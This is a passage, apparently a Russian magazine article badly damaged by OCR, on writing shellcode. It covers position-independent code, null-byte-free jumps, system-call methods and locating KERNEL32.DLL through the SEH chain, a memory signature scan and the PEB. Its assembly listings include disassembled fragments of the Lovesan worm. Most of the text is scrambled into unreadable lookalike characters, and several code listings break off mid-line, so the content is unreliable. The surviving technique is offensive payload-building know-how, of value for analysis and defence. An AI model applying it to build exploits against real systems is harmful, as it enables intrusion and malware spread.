Tuyeckve bydepa, pacnornoxeHHble B CTEKe, U AUHamMuUyec-
Kue 6ydpepa, pacrnonoxeHHble B Kyye, pa3MeLLatoTcs no Ypes-
BblYaNHO TPYOHO MpeackasyemblM WU Jaxe COBEpLUEHHO
HenpenckasyemMbIM agpecam.

Ncnonb3oBaHne abCconoTHOM agpecauumn (Mnm, rosops
OPYrMMmM CrioBaMu, XECTKON MPUBA3KM K KOHKPETHbIM agpe-
cam, Bpoge MOV EAX, [406090h]) ctaBuT shell-kog B 3aBu-
CUMOCTb OT OKpY>XatoLLen cpelbl ¥ NPUBOAWUT K MHOIOYMC-
NEHHbIM O0BPYLUEHUSAM YA3BUMBIX NMPUNOXEHUA, B KOTOPbIX
6yhep okasancs He Tam, rge oxuaanock. «M3 Yero Tonbko
[enatoT COBPEMEHHbIX XakepoB, YTO OHW Aaxe NepenosHUTb
6ydhep, He yrpobms Npu 3TOM CUCTEMY, OKa3blBAKOTCA He B
COCTOSIHUM?» — B3[bIXAET NPOLLSIOE NOKONIEHWE. YTOObI 3TOr0
He npoucxoauno, shell-kog fomkeH 6bITb NOMHOCTLIO Nepe-
MellaemMbIM — T.e. YMeTb paboTaTh B NI06bIX, 3apaHee eMy He
M3BECTHbIX agpecax.

MMocTaBneHHyo 3a4advy MOXHO PeLUMTb ABYMS MyTAMU —
nn6Oo MCNonb30BaTh TONBKO OTHOCUTESNbHYIO agpecaumio (4To
Ha x86-nnatcgopme B 06LLEM-TO HEQOCTUXMMO), 60 cCamo-
CTOATENIbHO ONpefensiTb CBOW 6a30Bblil afpec 3arpysku un
BECTU «JIETOUCYUCTIEHWE» YXKe OT Hero. U ToT, u apyrow cno-
€06 paccMaTpuBaloTCs HUXe, C XapakTepHOW A5 Xakepos
noapO6HOCTBLI0 U 06CTOATENBHOCTLIO.

CemelcTBO X86-MPOLECCOPOB C OTHOCUTENBHON agpeca-
Liei KaTeropuyecku He B nagax, u paspaboTka shell-koga ans
HUX — 3TO OTNWYHAA TMMHACTUKA Ans yma. Beero nmeetcs gse
oTHocuTenbHble komaHgbl (CALL n JMP/Jx ¢ onkogamu E8h 1
Ebh,E9h/7xh,0F 8xh cooTBeTCTBEHHO) M 066 — KOMaHAbI yn-
pasneHus. HenocpencteeHHoe ucnonb3osaHue peructpa EIP
B afpecHbIX BbIPXEHWUX 3anpeLLeHo.

Wcnonb3oBanue otHocuTtenbHblX CALL B 32-paspsgHom
pexumMe UMeeT CBOM TPYOHOCTU. ApryMeHT komaHdbl 3aga-
eTcsl 3HaKOBbIM 4-6aMTOBbIM LiEMNbIM, OTCYUTbIBAEMbIM OT Ha-
yana cnegyoLlen KomaHgbl, ¥ Npu BbI30BE HUXENeXallux
MOANporpaMm B CTapLUMX pa3pagax, CopepXaLlyx OgHN Hynu.
A nocKonbKy B CTPOKOBbIX Bydiepax CUMBOS HyNs MOXeT
BCTPETUTLCA NNLLIL OHAXAbI, TAKOW Shell-kod npocTo He cMo-
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XeT paboTaTb. ECiM Xe 3aMeHUTb HYNW Ha YTO-TO Apyroe,
MOXHO COBEpLUMTb OYeHb Janekuii nepexod, Oaneko BbIXO-
OALWMA 32 Npefensl BblgeneHHoro 6noka namsTu.

YX nydile npbiraTb Hazag — B 06nacTb Mnagwnx agpe-
COB, TOrga Hynu BonwebHbIM 06pa3oM MPeBpaTATCa B CUM-
BOfbl ¢ KogoM FFh (koTopble, KcTaTh roBops, Tak Xe OTHO-
CATCA K KaTeropum «TpyaHbIX» CUMBOJIOB, KOTOPbIe cornatua-
0TCA NPOrnoTUTL AArNeKo He BCe YA3BKMble Mporpammbl).
[NprvMeHVB BOEHHYIO XUTPOCTb U 3aCaavB B MHCTPYKLMIO Npe-
dpukc 66h, Mbl He TONTbKO COKpaTUM ANMHY MaLUWHHOW KOMaH-
Abl HA 0OMH 6anT (4TO B psAe Cry4yaeB BeCbMa aKTyasnbHO),
HO M OTOPBEM [Ba CTaplumx Gavita onepaHga (Te, KOTopble
ObIfIN C HYNEeBbIMW CUMBONAMY).

B mMaLLMHHOM By BCE 3TO BbIFNAAMT NPUOIIUSUTENBHO TaK:

JncTuHr 8. MammHHOEe mpejCTaBleHMe OTHOCHMTENbHHX KoMaHn CALL

00000000: E804000000 call 000000009
00000005: 66E80101 call  00000010A
00000009: ESF7FFFFFF call 000000005

CkasaHHoe crnpaBeffiuBO U NO OTHOLLEHWIO K KOMaHge
JMP, 3a TeM nULLb UCKITIOYEHWUEM, YTO KOMaHAb! YCNOBHOIO
nepexoga (pasHo Kak 1 komanga JMP SHORT) pasmeLiatot
CBOW afpec nepexofa B OHOM-eQUHCTBEHHOM 6anTe, Y4TO He
TOMbKO YCUNMBAET KOMMAKTHOCTb KOAA, HO 1 U36aBNseT Hac
OT Npo6nembl «TPYAHbLIX» CUMBOJIOB.

Ecnu xe HeobxoamMmo coBepLIMTL Nepexoq no abconoTHO-
My agpecy (Hanpumep, BbI3BaTb HEKOTOPYIO CUCTEMHYIO QOYHK-
LMIO UK (PYHKUMIO YA3BMMOIN NPOrpamMmbl), MOXHO BOCMOSb-
30BaTbCsl KOHCTPYKUmen CALL pernctp/JMP pervcTp, npegsa-
PUTENBHO 3arpysuns pernctp komango MOV peructp, Henoc-
PeOCTBEHHbIN OnepaHs (OT HyneBbIX CUMBOSIOB MOXHO W36a-
BUTLCS C NOMOLLbIO KOMaHL, afpecHon apuMeTUKK) Unn Ko-
mangon CALL HenocpencTBeHHbIA onepaHg ¢ onkogom FF /2,
9A vnmn FF /3 pna 6nnxHero, fansHero 1 nepexoaa no onepat-
Ay B NamsT COOTBETCTBEHHO.

OTHocuTenbHaa agpecauusi AaHHbIX (B T.4. 1 CAMOMOAM-
thuumpyroLleroca koaa) obecnevmBaeTcs Ha NOPSOOK CIOX-
Hee. Bce nMeroLLmecs B HalleM pacropsixeHun Komarabl ag-
PECYIOTCA UCKITIOYUTENIbHO OTHOCUTESNIBHO perucTpa-ykasare-
N BepXyLUKK cTeka (B x86 mpoueccopax 31o peructp ESP),
4TO, KOHEYHO, AOBOSILHO NPUBMEKATENbHO CaMo Mo cebe, HO
¥ TauT ONpefeneHHy0 BHYTPEHHIO ONacHOCTb. Nonoxexne
yKasatens cTeka nocrne nepenosiHeHus B 06LLEM Cllydae He
onpeneneHo, U Hanu4ne Heo6XOAMMOro KONMYecTBa CTEKO-
BOM NaMsATV He rapaHTUPOBaHo. Tak YTo AerncTBOBaTb NPUXo-
LMTCA HA CBOW CTpax U PUCK.

CTek MOXHO Mcnonb30BaTh W Afs NOArOTOBKM CTPOKOBbIX/
YMCNOBBIX apPryMEHTOB CUCTEMHbIX (DYHKLIMIA, (DOPMUPYS UX KO-
maHgon PUSH u nepenaeas yepe3 OTHOCUTENbHBIA YKa3aTenb
ESP + X,roe X MOXeT 6bITb Kak YMCIIOM, TaK U pErMcTpoM. AHa-
NOrNYHbIM 06Pa30M OCYLLIECTBIAETCS M NOArOTOBKA CaMOMOM-
(hrumpyroLerocs Koga — Mbl «MALWEM» KOL B CTEK U MOAMU-
LMpyeM ero, oTTankuBasiCb OT 3Ha4eHus permctpa ESP.

JTiobuTenn xe «Knaccm4yeckom MUCCUOHEPCKOW» MOryT
MOWTK OpyruM nyTem, onpegenss TekyLuyto nosuumio EIP no-
cpencteoM KoHcTpykumm CALL $ + 5/RET, npaega B 1o6 Ta-
Kyl0 nocnenoBatesisHOCTb MAaLUMHHbIX KOMaHg B CTPOKOBOWA
6ydep He nepepartb, T.K. 32-pa3pagHbIA apryMeHT KOMaHbl
CALL conepXwuT HecKomnbko CMMBOSIOB Hyns. B npocTeiiwem

Cyyae OHW U3roHAIOTCA «3aknuHaHnem» 66 E8 FF FF CO, ko-
TOpOe 3KBMBANEHTHO MHCTPYKUMsiM CALL $3/INC EAX, Hano-
XEHHbIM pyr Ha gpyra (eCTeCTBEHHO, 3TO MOXET ObITb He
Tonbko EAX 1 He Tonbko INC). 3atem nuib 0CTaeTcs BbITON-
KHYTb COAEPXMMOEe BEPXYLLKN CTeKa B No6on pernctp ob-
LLlero Ha3HaveHus1, Hanpumep, EBP unu EBX. K coxaneHuio,
6€e3 UCMNOoNb30BaHUA CTeKa 3[ecb He 060MTUCH, U Npeanarae-
MbIA METOA TPEBYeT, YTOObI yKa3aTesb BePLUMHbI CTEKA CMOT-
pen Ha BblOENEHHbIA PErMoH nNamaTi, JOCTYNHOW Ha 3anuchb.
Ona nepectpaxoBku (ecnu nepenonHatoLmics 6ydep gen-
CTBMTENIbHO CPbIBAET CTEK HAuMcTo) pernctp ESP pekomer-
AYeTCA MHMLManU3npoBaTb CamoCTOATENbHO. JTO AEWCTBU-
TeSIbHO O4YeHb MPOCTO CAenaTb, Bedb MHOTME U3 PerncTpo-
BbIX MEPEMEHHbBIX YA3BMMON NporpammMbl COaepXat npeacka-
3yeMble 3Ha4YeHUs1, TOUHee — UCMONb3YITCA NpeacKkasyembiM
o6pasom. Tak, B Cu++ nporpammax ECX HaBepHsika cogep-
XUT yKasarens this, a this — 3T0 He TONbKO LieHHbIA MeX, HO 1
Kak MUHUMYM 4 6aiiTa [OCTYnHOW namaTu!

B nopsigke panbHenLero passutua 3Ton uaen oTMETUM,
YTO HE CTOWT, NPaBO Xe, UITHOPUPOBATb 3HAYEHUS PErUCTPOB,
pocrasLumxca shell-kogy B MOMEHT Hayarna ero BbINOSIHEHUs!.
MHorvie 13 H1X yKasblBatoT Ha NONe3HbIe CTPYKTYPbl AaHHbIX
¥ BblOENEHHbIe PErvoHbl NaMSATU, KOTOPbIE Mbl FrapaHTUPOBaH-
HO MOXeM WCMOIb30BaTb, HE PUCKYA HAPBATLCA HA UCKNIoYe-
HWE W NPOYMe HEOXMAAHHbIE HENPUATHOCTW. HekoTopble pe-
TUCTPOBbIE NEPEMEHHbIe YYBCTBUTESNbHbI K BEPCUW YA3BUMO-
O MPUNOXEHNS, HEKOTOPble — K BEPCUN KOMMUAATOPA U KITio-
4yam KOMMUAALMK, TaK YTO «rapaHTUPOBAHHOCTb» 3Ta OYeHb U
O4YeHb OTHOCUTENbHA, BMPOYEM, KaK 1 BCE CyLLee Ha 3emne.

TeXHUKa BbI30BA CUCTEMHbIX (QYHKLMIA
B03MOXHOCTb BbI30Ba CUCTEMHbIX (PYHKLMIA, CTPOrO rOBOPS,
He fBNAETCA 0653aTeNbHbIM YCIOBMEM YCMELLUHOCTW aTaku,
MOCKOMNbKY BCEe HeobXoaMMoe AN aTaku xeprsa (ya3BuMas
nporpamMma) yxe COQepXuT BHYTpU ce6s, B TOM YKCNE U Bbl-
30Bbl CCTEMHbIX (DYHKLIMIA BMECTE C BbICOKOYPOBHEBOW 06€ep-
TKOW NpuKnagHbIx 6ubnmoTek Bokpyr HWX. [dusaccembnunpo-
BaB Mccnegyemoe NpunoXxeHne 1 onpepenus Lenesble agpe-
ca VHTEPECYOLWMX HAaC YHKUMIA, Mbl MOXeM caenate CALL
ueneson agpec uim PUSH agpec Bo3spata/JMP oTHocuTeNb-
HbI Leneson agpec i MOV peructp, abCcomtoTHbIA Lere-
Boi agpec/PUSH agpec Bosspata/JMP peructp.

3amMeyaTenbHo, eCcnu yas3sumas nporpamMa UMnopTupy-
eT napy yHkumui LoadLibrary/GetProcAddress, —Torga shell-
KoL CMOXET 3arpy3unTb o6y AMHAMUYECKYI0 6UONNOTEKY U
obpaTUTbLCA K N060N M3 ee PyHKUMA. A ecnu hyHKUUK
GetProcAddress B Tabnuue nmnopta HeT? Torga atakyoLmmn
OyOeT BbIHYXAEH CaMOCTOATENIbHO ONpeaensaTb agpeca WH-
TepecytoLmx ero yHKUMNA, OTTankneascb oT 6a30BOro af-
peca 3arpysku, Bo3palleHHblm LoadLibrary n genctays nuéo
nyTem «py4yHoro» pasbopa PE-thanna, nnbéo oToxnaectsnss
hyHKLMM No ux curHatypam. lNepsoe CnoxHoO, BTOPoe — He-
HagexHo. 3aknagbiBaTbC Ha (PMKCUPOBAHHbIE agpeca Cuc-
TeMHbIX (DYHKLMIA KaTeropuyeckn HegonycTMMo, NMOCKONbKY
OHW BapbMpYHOTCH OT OOHOW BEPCUK OnepaLoHHOM CUCTEMBI
K Opyron.

XopoLuo, a Kak 6bITb, Kora yHkums LoadLibrary B Tabnu-
Lie MMNopTa KOHKPETHO OTCYTCTBYET U OQHOMN WM HECKOMbKMX
CUCTEMHbIX (PYHKLIMI, XM3HEHHO HeobxoauMbIx shell-kogy ans
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pacnpocTpaHeHus, Tam Toxe HeT? B UNIX-cuctemax MoxHo
(n HyXHO!) ncnonb3oBaTb NPSMON BbIZOB (OYHKLMIA aapa, pea-
nn3yembIn NMBO NOCPEACTBOM NpepbiBaHua no sekTopy 80h
(LINUX, Free BSD, napameTpbl NepefatoTcs Yepes perucTpsbl),
nu6o yepes pganbHun CALL no agpecy 0007h:00000000h
(System V, napameTpbl nepegatotcs yepes CTeK), Mpu 3TOM
HOMepa CYCTEMHbIX BbI30BOB CofepXatcst B channe /usr/include/
sys/syscall.h, Takxe cmoTpu Bpesky. ELLe MOXHO BCMOMHMUTb
MaLLMHHbIE KOMaHgb! syscall/sysenter, KoTopble, Kak 1 crnegyeT
U3 UX Ha3BaHWs, OCYLLECTBNSIOT NPsAMble CUCTEMHbIE BbI30BbI
BMecTe ¢ nepepaden napameTpos. B Windows NT u npoussog-
HbIX OT Hee cucTemax gena o6CTOAT HAMHOMO CrioxHee. Baau-
MOAENCTBME C AOPOM peannayeTcs NOCPEeACTBOM NpepbiBaHMs
INT 2Eh, HeodmumansHo HasbiBaemoro native API interface
(«pogHon» API-uHTepgeinc). Koe-kakasi nHdopmaums Ha aToT
CYeT cofepxutcs B nereHaapHoM Interrupt List Pansdha bpayHa
n «HeoKyMeHTMpOoBaHHbIX BO3MOXHOCTAX Windows NT» Ko-
6EPHUYEHKO, HO Maso, 04eHb Mano. JTO YPE3BbIYANHO CKYQHO
[JOKYMEHTUPOBaHHBIN UHTEPENC, N eQUHCTBEHHBIM UCTOYHU-
KOM [aHHbIX OCTalTCA Au3acceMbnepHble AUCTUHMU
KERNEL32.DLL » NTDLL.DLL. Pa6oTa ¢ native API Tpebyet
BbICOKOrO MpoeccuoHanuamMa 1 riyboKoro 3HaHUs apxurtek-
TYpbl ONEpaLMOHHON CUCTEMBI, [a U Kak-TO rPOMO3[KO BCe
nonyyaetcs, — apo NT onepupyeT ¢ He6OMbLIMM YACTIOM [0-
BOJIbHO MPUMUTUBHBIX (UMK, €CINn YrOHO, — HU3KOYPOBHEBbIX)
hyHKUMA. K HenocpedCcTBEHHOMY YrNOTPeONeHUo OHM Henpu-
rofHbl W, Kak 1 BCAKWIA nonydadpukar, [OMKHbI 6blTb COOT-
BETCTBYIOLLMM 06pa3oM NpuroToeneHsl. HanpumMep, dyHKLms
LoadLibrary «pacnagaetcs» no MeHbLUeiA Mepe Ha [Ba CuC-
TeMHbIX Bbl3oBa — NtCreateFile (EAX == 17h) oTkpblBaeT chaiin,
NtCreateSection (EAX == 2Bh) npoeumpyeT ¢haiin B namsTb
(T.e. pabotaet kak CreateFileMapping), nocne 4ero NtClose
(EAX == OFh) co Croko/HON COBECTbIO 3aKPbIBAET OECKPUM-
Top. YT0 Xe kacaeTcs dyHkumm GetProcAddress, To oHa Lenu-
kom peanuzosaHa B NTDLL.DLL v B anpe faxe He Hovesana
(BMpoYem, mpu Hanuymu crneungmkaumm PE-chopmata — oHa
Bxogut B Platform SDK 1 MSDN — Tabnuuy akcnopta MOXHO
NpOaHanM3npoBaTb U «BPYYHYIO»).

C ppyrov cTopoHbl, obpaliaTtbes K Aapy Ans sbi6opa
«amynsaTopa» LoadLibrary coBepLueHHO Heobs3aTesbHO, Mo-
ckonbky 6mbnunotekn NTDLL.DLL n KERNEL32.DLL Bcerga
MPUCYTCTBYIOT B aApecHOM NPOCTpaHCTBe N6oro npouecca,
W eCcnn Mbl CMOXEM ONpefenuTb afapec UX 3arpysku, Mbl CO-
pBem 6aHK. ABTOpY U3BECTHbI [1Ba crocoba peLleHus 3Tom 3a-
Jaun — yepes3 CUCTEMHbI 06PaboTUUK CTPYKTYPHBIX UCKITHOYe-
HuiA 1 Yepes PEB. MNepBbii — camoo4eBuaeH, HO FPOMO3M0K U
HearneraHTeH, a BTOPOWN 3neraHTeH, Ho HeHafexeH. «PEB Tonb-
KO Ha MOeln namsT MeHsanacb Tpu pasa» (c) FOpuin XapoH.
OpHako nocnegHee 06CTOATENbCTBO HUYYTb HE NOMeLano
yepsto Love San pas6pocatb cebs No MUMNMOHAM MaLLIVH.

Ecnu BO Bpemsl BbINOMHEHWS MPUOXEHWS BO3HWKAET UC-
KNiounTeNbHan cuTyauus (genesne Ha Homb unm obpatleHve
K HeCyLLeCTBYIOLLEN CTpaHuLe namsaTi, Hanpumep), U camo
NpUnoXxeHve HUKak ee He obpabaTbiBaeT, TO ynpasneHne
nony4aeT CUCTEMHbIN 06pabOoTUUK, peann3oBaHHbLIN BHYTPU
KERNEL32.DLL n B W2K SP3, pacnonoxeHHbIn no agpecy
77EA1856h. B opyrux onepaumOoHHbIX cuCTeMax 3ToT appec
6yOeT UHbIM, MO3TOMY FPamMOTHO CMPOEKTUPOBaHHLIN shell-
KoL OOSKEH aBTOMAaTMYeCcKu onpefensaTb agpec o6paboTyu-
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Ka Ha neTy. Bbl3biBaTb UCKIIOYEHME 1 TPAcCUPOBaTh Ko (KaK
3TO NpUXoaMnoch fgenartb BO BpemeHa crapyku MS-DOS)
Tenepb COBEpLUEHHO Heoba3aTenbHO. Jlydie o6paTuTbCa K
LienoyKe CTPYKTYPHbIX 06paboTYMKOB, YNakoBaHHbIX B CTPYK-
Typy EXCEPTION_REGISTRATION, nepsoe ABOMHOE CNOBO
KOTOpPbIX COAEPXWT yKasaTtenb Ha crnegyowimnii 06paboTHmnk
(vnn FFFFFFFFh, ecnu HuKakmnx 06paboTYmMKoB 605IbLLE HET),
a BTOpoe — afipec JaHHOro obpaboTymka

Jucruur 9. Crpykrypa EXCEPTION REGISTRATION

_EXCEPTION REGISTRATION struc
prev dd ?
handler dd ?

_EXCEPTION REGISTRATION ends

MNepBbIn 3NeMEHT LenoYkn 06paboTUMKOB XPaHUTCA MO
agpecy FS:[00000000h], a BCce nocnepytolme — Henocpen-
CTBEHHO B ajpeCHOM NPOCTPaHCTBE NOJOMNbLITHOrO NpoLecca.
lNepemeLLasnch OT 3neMeHTa K 311IeMeHTY, Mbl 6yaeM ABUraTb-
csl [0 Tex nop, noka B none prev He BcTpetum FFFFFFFFFN,
Torga none handler npegpblgyLlero aneMeHTa 6yaeT cogep-
XaTb agpec cucteMHoro obpaboTymka. HeoduumansHo 3ToT
MexXaHW3M Ha3blBaeTCs «PacKpPYTKON CTeKa CTPYKTYPHbIX UC-
KIOYeHU» 1 NOAPOBHEE 0 HEM MOXHO NPOYUTaTh B CTaTbe
MatTa Mutpeka «A Crash Course on the Depths of Win32
Structured Exception Handling», Bxogawwmn B coctas MSDN.

B KayecTBe HarnsgHoOM MNAOCTPaLMK HUXE NPUBELEH Kog,
BO3BpaLatowmi B peructpe EAX agpec cuctemHoro obpa-
60TuMKa.

Jucturr 10. Kop, onpepensiwumuit 6aBOBHI afpec Barpysku
KERNEL32.DLL mo SEH

.data:00501007 Xor eax, eax ; EAX := 0
.data:00501009 xor ebx, ebx ; EBX := 0
; appec obpaboTumka

.data:0050100B mov ecx, fs:[eax+4]

; yKkasaTenr Ha ciepywumii o6paBorumk

.data:0050100F mov eax, fs:[eax]

; Ha NpOBEpKy YCJIOBUSI LWKIA

.data: 00501012 jmp short loc 501019
.data:00501014

.data:00501014 loc_501014:

; ajpec obpaboTumka

.data:00501014 mov ebx, [eax+4]

; ykasaTenr Ha cnen. o6paGoTumk
.data:00501017 mov eax,
.data: 00501019
.data:00501019 loc_501019:

; 9TO mocnepmHMi o6paBoTumk?
.data: 00501019

; MOTaeM LWMKJI, [OKa He KOHel
.data:0050101C

[eax]

cmp eax, OFFFFFFFFh

jnz short loc 501014

Konb cKopo Mo KpanHen Mepe OAvH agpec, npuHagnexa-
wmn 6ubnuoteke KERNEL32.DLL, Ham n3BecTeH, onpefe-
nuTL 6230BbIN afipec ee 3arpy3kun yxe He COCTABUT HUKaKO-
ro Tpyga (oH kpateH 1000h n cogepxuT B CBOEM Hayane
NewExe 3aronoBok, 3neMeHTapHO 0rno3HaBaeMblii N0 CUrHa-
Typam «MZ» n «PE»). Cnegyromin kog NpyuHMMaeT 1 oxuga-
eT B perucTtpe EBP agpec cucteMHoro 3arpysyvka u B Hem
Xe Bo3BpaliaeT 6a3oBblii agpec 3arpy3km KERNEL32.DLL.

Jucturr 11. dyHKuMs, onpefenswlass GasOBHI afpec BarpysKyu
KERNEL32.DLL myTeM moucka CUTHATyp «MZ» u «PE» B OnepaTMBHONM
naMaTu

; 3TO «MZ»?

001B:0044676C CMP WORD PTR [EBP+00],5A4D

39



6esonacHocTb

; -- HeT, He MZ -->

001B:00446772 JNZ 00446781

; Ha «PE» 3aronoBok

001B:00446774 MOV EAX, [EBP+3C]
; 370 «PE»?

001B:00446777 CMP DWORD PTR [EAX+EBP+0],4550
; -- ma, 3To0 PE -->

001B:0044677F JZ 00446789

; cnen. 1 K6 6mok

001B:00446781 SUB EBP, 00010000
; MOTaeM UMK

001B:00446787 0044676C

LooP
001B:00446789 -

CywlecTtByeT 1 60nee aneraHTHbIN CNoco6 onpeneneHus
6a3osoro agpeca 3arpy3kun KERNEL32.DLL, ocHoBaHHbIN Ha
PEB (Process Environment Block — 610K oKpy>eHus npouec-
ca), yKasaTesilb Ha KOTOpbIi COQEPXMUTCA B OBOWHOM CnoBe
no agpecy FS:[00000030h], a cam PEB pasnaraetcs cnegy-
oMM 06pa3omMm:

JimcTuur 12. Peanmusauust CTpykTyps PEB B W2K/XP

PEB STRUC

PEB InheritedAddressSpace DB ?

PEB ReadImageFileExecOptions DB ?

PEB BeingDebugged DB ?

PEB_SpareBool DB ?

PEB Mutant DD ?

PEB ImageBaseAddress DD ?

; +0Ch

PEB PebLdrData DD PEB_LDR DATA PTR ?
PEB SessionId DD ?

PEB

Mo cmeweHunto 0Ch B Hem cofepxuTca ykasaTesb Ha
PEN_LDR_DATA, npegctaensioLLmin cobom CrCOK 3arpyxeH-
HbIX OMHaMUYECKMX OGUONNOTEK, NEepedUCTIEHHbIN B NopsiaKe
nx nHmumanmsauum (NTDLL.DLL nHuumanuanpyetca nepeomn,
cnenom 3a Het nget KERNEL32.DLL):

JmcTuur 13. Peanmusauust cTpyxTyps PEB LDR DATA B W2K/XP

PEB LDR DATA STRUC DD K ; 100
PEB_LDR_Flags DD ? ; +04
PEB_LDR Unknown8 DD ? ; +08

; +0Ch

PEB LDR InLoadOrderModulelist LIST ENTRY ?
; +1l4h

PEB LDR InMemoryOrderModuleList LIST ENTRY ?
; +1Ch

PEB LDR InInitOrderModulelist

| LIST_ENTRY ?
PEB_LDR DATA ENDS

LIST ENTRY STRUC

LE_FORWARD dd *forward in the list ; + 00h
LE_BACKWARD dd *backward in the list; + 04h
LE IMAGE BASE dd imagebase of ntdll.dll ; + 08h
ﬁE IMAGE TIME dd imagetimestamp ; + 44h

LIST_ENTRY

Co6CTBEHHO, BCA MAEN 3aKMo4aeTcs B TOM, YTO6bI, MPOYm-
TaB [BoiHoe cnoso no agpecy FS:[00000030h], npeobpaso-
BaTb €ro B ykasateno Ha PEB v nepeintu no agpecy, Ha KoTo-
PblIii CCbINAETCs yKasaTenb, fexawmn no cmewexnio 0Ch ot
ero Ha4ana —IninitOrderModuleList. OT6pocuB nepBbIv 3NEMEHT,
npuHagnexawin NTDLL.DLL, mMbl nony4nm ykasarteflb Ha
LIST_ENTRY, copepxatue xapaktepuctukn KERNEL32.DLL
(B yacTHOCTK, 6A30BLIA aApec 3arpy3Kn XpaHUTCA B TPETbEM
LBOMHOM cnoBe). Bnpoyem, 310 nerve nporpamMmpoBaTth, YeMm
FOBOPUTb, U BCE BbILLECKA3aHHOE C NErkoCTbio YMELLAeTCs B
NATU acceMbnepHbIX KOMaHaax.

Hwxe npvBegeH Kog, BbigpaHHbIi 13 Yepss Love San, go
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cux nop Teppopusmpytowero NHtepHet. JaHHbin doparmMeHT
HE MMeeT HMKaKoro OTHOLLUEHWs K aBTopy Bupyca M Obin UM
«M03aUMCTBOBaH» U3 CTOPOHHWUX UCTOYHMKOB. O6 3TOM ro-
BOPAT «NULLHUE» acceMbnepHble KOMaHbl, NpeaHa3HayveH-
Hble ana cosmectumocTn ¢ Windows 9x (B HEN BCe He Tak,
kKak B NT), Ho BeAb apean obutaHus Love San orpaHuyeH
ncknountensHo NT-nogo6HbIMU CUCTEMAMM, U OH B MPUHLN-
rne He cnocobeH nopaxars Windows 9x!

JucTvar 14. $parMeHT uepBsi Love San, OTBETCTBEHHEHI! 3a ompe-
feneHne 6asoBoro agpeca sarpyskum KERNEL32.DLL u oBecneumsa-
KU YepBO BaBUOHYW HEBaBMCUMOCTH OT BEPCMM aTaKkyeMou one-
PalLMOHHO! CHUCTEME!

; PEB base

data:004046FE 64 Al 30 00 00
data:00404704 85 CO

; -- M Ha W9x -->

mov eax, large fs:30h
test eax, eax H

data:00404706 78 0OC js short loc 404714
; PEB_LDR DATA

data:00404708 8B 40 0C mov eax, [eax+0Ch]

; 1 snement InInitOrderModuleList

data:0040470B 8B 70 1C mov esi, [eax+1Ch]

; CIeRyWUMi BJIeMeHT

data:0040470E AD lodsd

; 6asoBent agpec KERNEL32.DLL

data:0040470F 8B 68 08 mov ebp, [eax+8]
data:00404712 EB 09 jmp  short loc_40471D

data:00404714;
; CODE XREF: kk get kernel32+At]
data:00404714 loc_404714:
data:00404714 8B 40 34 mov
data:00404717 8B A8 B8 00 00+ mov
data:00404717

; CODE XREF: kk get kernel32+16tj
data:0040471D loc_40471D:

[eax+34h]
[eax+0B8h]

eax,
ebp,

Py4Hon pasbop PE-¢popmata HecmoTps Ha CBOe ycTpaluato-
LLlee Ha3BaHWe peanusyeTcsa anemeHTapHo. [1BovHOe croBo,
nexatee no cMetleHno 3Ch ot Havana 6a30Boro agpeca 3ar-
PY3KKW, COOEPXUT cMeLleHne (He ykasatens!) PE-3aronoeka
¢harina, KOTOpLIN B CBOKO O4epenb B 78h cBoeM ABOMHOM cnose
COOEpPXMT cMeLLieHne Tabnuubl 3keropta, 18h — 1Bhn20h — 23h
6anTbl KOTOPON XPaHAT KONIMHYECTBO SKCMOPTUPYEMbIX (DYHKLIMIA
1 CMELLIEHNE TabnuLbl 3KCMOPTUPYEMBIX UMEH COOTBETCTBEHHO
(XOTS dhyHKLMM SKCMIOPTUPYIOTCA TakxXe U Mo OpavHanam, cme-
LLileHWe TabuLbI IKCropTa KOTOPbIX HaxoauTes B 24h —27h 6an-
Tax). 3anoMHuTe 3TM 3HadeHns — 3Ch, 78h, 20h/24h — oHK 6y-
DyT BaM HacTO BCTPeYaTbCs B KOLE YEpBeW U 3KCMOWTOB, 3Ha-
YUTENBHO O6neryas MOEHTUUKALMIO anropuTMa NOCAESHUX.

JucTuer 15. $parMeHT uepBs Love San, OTBETCTBEHHEHI! 3a ompe-
nenenue ampeca TaGmuuE SKCNOPTUPYEMHX WMMEH

; 6asoBmit agpec 3arpysku KERNEL32

.data:00404728 mov ebp, [esptarg 4]
; Ha PE-3arooBOk

.data:0040472C mov eax, [ebp+3Ch]

; Ha Tabmmuy sKcCnopTa

.data:0040472F mov edx, [ebpteax+78h]
.data:00404733 add edx, ebp

; KON-BO SKCIOPTUPYEMHX GYyHKIMI

.data:00404735 mov ecx, [edx+18h]

; Ha TabmMUy SKCHNOPTUPYEMEIX MMEH

.data:00404738 mov ebx, [edx+20h]

; afpec Tabmuus SKCNOPTUPYEMHX MMEH
.data:0040473B add ebx, ebp

Tenepb, oTTankneasck OT agpeca TabnuLbl sKcnopTupye-
MbIX UMeH (B rpy6oM NpUOANXKEHWUN NPedcTaBASOLLYIO CO-
6o maccuB TekcToBbIXx ASCIIZ-CTpoK, Kaxgas U3 KOTopbIX
COOTBETCTBYET «CBOEN» API-hyHKLMM), Mbl CMOXEM HaNTK
BCe Heobxogumoe. OOHaKo OT MNOCUMBOMBHOIO CPaBHEHUSs
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nyyile cpasy 0TKasaTbCsl U BOT NOYeMy: BO-NepBbIX, MMeHa
6onblunHeTBa API-CyHKUMI YpesBblYaiHO TAXKENOBECHbI, a
pasmep shell-kofa XeCTKO orpaHuyeH, BO-BTOPbIX, ABHas 3ar-
py3ka API-hyHKLUMIA Ype3Bbl4aWHO YNpoLLaeT aHanus3 anro-
putMa shell-koga, 4To He ecTb XxopoLuo. Becex sTux HegocTar-
KOB NWLLIEH anropuT™ XeLU-CpaBHeHus1, B 06LLeM Cnyyae CBO-
JOALIMACA K «CBEPTKE» CPaBHMBAEMbIX CTPOK MO HEKOTOPOK
dyHkumm f. MogpobHee 06 3TOM MOXHO NPOYMTaThL B COOT-
BETCTBYIOLLEN NMTEpaType (Hanpumep, «/ckyccTBo nporpam-
MUpoBaHus» KHyTa), 34ecb Xe Mbl NPOCTO NpuBefem npo-
rPamMMHbIA KOf, CHa6XeHHbIA NOAPOOHBIMU KOMMEHTaPUSIMU.

JiucTunr 16. $parMeHT uepBs Love San, OTBETCTBEHHENI 3a ompe-
DeneHuss MHOeKCa QyHKuuM B Tabmuue

; CODE XREF: kk get proc_adr+36:.]
.data:0040473D loc_40473D:

; —=> oumbka

.data:0040473D jecxz short loc 404771
; B €CX KONMYECTBO 3KCNOPTMPYEMHX OyHKImi

.data:0040473F dec  ecx

; CMelleHMe KOHIa MacCMBa SKCNOPTMPYEMEIX GyHKumit
.data:00404740 mov esi, [ebxt+ecx*4]

; afpec KOHIa MacCMBa SKCNOPTUPYEMBIX GyHKumiL
